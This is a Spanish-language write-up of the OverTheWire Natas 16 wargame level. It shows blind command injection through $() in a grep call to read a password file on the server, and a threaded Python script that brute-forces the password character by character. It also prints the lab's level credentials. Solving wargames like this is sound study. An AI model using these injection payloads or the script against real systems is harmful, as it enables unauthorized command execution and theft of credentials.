OverTheWire - Natas 15 -> 16 (sin navegador)
November 2022
Información
Las contraseñas cambian cada cierto tiempo, existe la posibilidad de que esta contraseña ya no sea válida
Username: natas16
Password: TRD7iZrd5gATjj9PkPEuaOlfEjHqj32V
URL: http://natas16.natas.labs.overthewire.org
Solución
Abrimos Postman, pegamos la URL e ingresamos nuestras credenciales.
La página nos responde con un formulario y y un código fuente.
Agregamos el nombre del archivo a la URL y al enviar la petición debemos hacer click en la pestaña Preview para visualizar todo de manera más cómoda.
La aplicación recibe un input y lo inserta en el comando grep
, nuestra misión es baipasear este comando y obtener la contraseña de natas17. El reto es simple pero tiene una complejidad, 2 líneas más arriba vemos que se está realizando un filtrado de los siguientes caracteres: ;|&`'"
.
Volvemos a la ruta principal y vamos a la pestaña Params, debemos ingresar el nombre del parámetro needle
y la letra que queramos.
Observamos que el comando grep se ejecuta correctamente y nos devuelve toda las palabras que contienen la letra a
y A
(Devuelve mayúscula y minúscula porque en el comando grep se estaba utilizando el parámetro -i
, este parámetro realiza una búsqueda case insensitive).
Así se ve el comando que el servidor ejecutará:
grep -i a dictionary.txt
Como la aplicación no está filtrandoo el caracter $
podemos ejecutar comandos con $()
. Linux leerá $()
y ejecutará todo lo que esté dentro de este paréntesis primero.
Así se ve el comando que el servidor ejecutará:
grep -i a$(cat /etc/natas_webpass/natas17) dictionary.txt
El servidor no nos responde nada.
Si probamos esta ves ejecutar el comando cat
con un archivo que no existe notamos que el servidor ahora nos responde con palabras.
grep -i a$(cat /etc/natas_webpass/natas17loquesea) dictionary.txt
Podemos concluir que estamos frente a una ejecución de comandos blind, no vemos el output de nuestros comandos, pero podemos inferir que el comando se ejecutó correctamente si la página no nos responde con nada.
Con esta información realizaremos un grep al archivo natas17 para obtener la contraseña. Si existe la letra a
en el archivo natas17 entonces la página no nos debería mostrar nada.
grep -i a$(grep a /etc/natas_webpass/natas17) dictionary.txt
Seguimos probando y encontramos que la letra d
existe en el archivo natas17.
grep -i a$(grep d /etc/natas_webpass/natas17) dictionary.txt
Este comando no es suficiente porque no tenemos forma de saber en qué posición está la letra d
ni cuántas veces se encuentra. Para solucionar esta agregaremos el símbolo ^
antes de la letra, esto le indica al comando grep que busque una palabra que empiece por la letra que nosotros le indiquemos.
grep -i a$(grep ^a /etc/natas_webpass/natas17) dictionary.txt
Vemos palabra así que la letra a
no es la primera letra de la contraseña.
Seguimos probando hasta llegar a la letra X
.
grep -i a$(grep ^X /etc/natas_webpass/natas17) dictionary.txt
El servidor no nos responde nada, esto significa que le letra X
es la primera letra de la contraseña ubicada en el archivo natas17.
Obviamente adivinar la contraseña no es nada eficiente, para resolver este escribí un script en python3 que utiliza hilos para adivinar la contraseña de una manera muy rápida.
import requests
import string
import threading
def main():
# Credentials
url = "http://natas16.natas.labs.overthewire.org/"
username = "natas16"
natas16_pwd = "TRD7iZrd5gATjj9PkPEuaOlfEjHqj32V"
characters = string.ascii_letters + string.digits
# Session
session = requests.Session()
session.auth = (username, natas16_pwd)
natas17_pwd = []
threads = []
def test_password(character, password):
# Payload
data = {"needle": f"$(grep ^{password + character} /etc/natas_webpass/natas17)"}
r = session.post(url, data=data)
# If response is empty that means our grep is correct
if len(r.text) != 461926:
natas17_pwd.append(character)
for _ in range(32):
password = "".join(natas17_pwd)
print(password)
# For every character it creates a thread that make a request to the webpage
for character in characters:
t = threading.Thread(target=test_password, args=(character, password))
threads.append(t)
for x in threads:
x.start()
for x in threads:
x.join()
threads = []
natas17_pwd = "".join(natas17_pwd)
print(natas17_pwd)
if __name__ == "__main__":
main()
Contraseña
XkEuChE0SbnKBvH1RU7ksIb9uuLmI7sd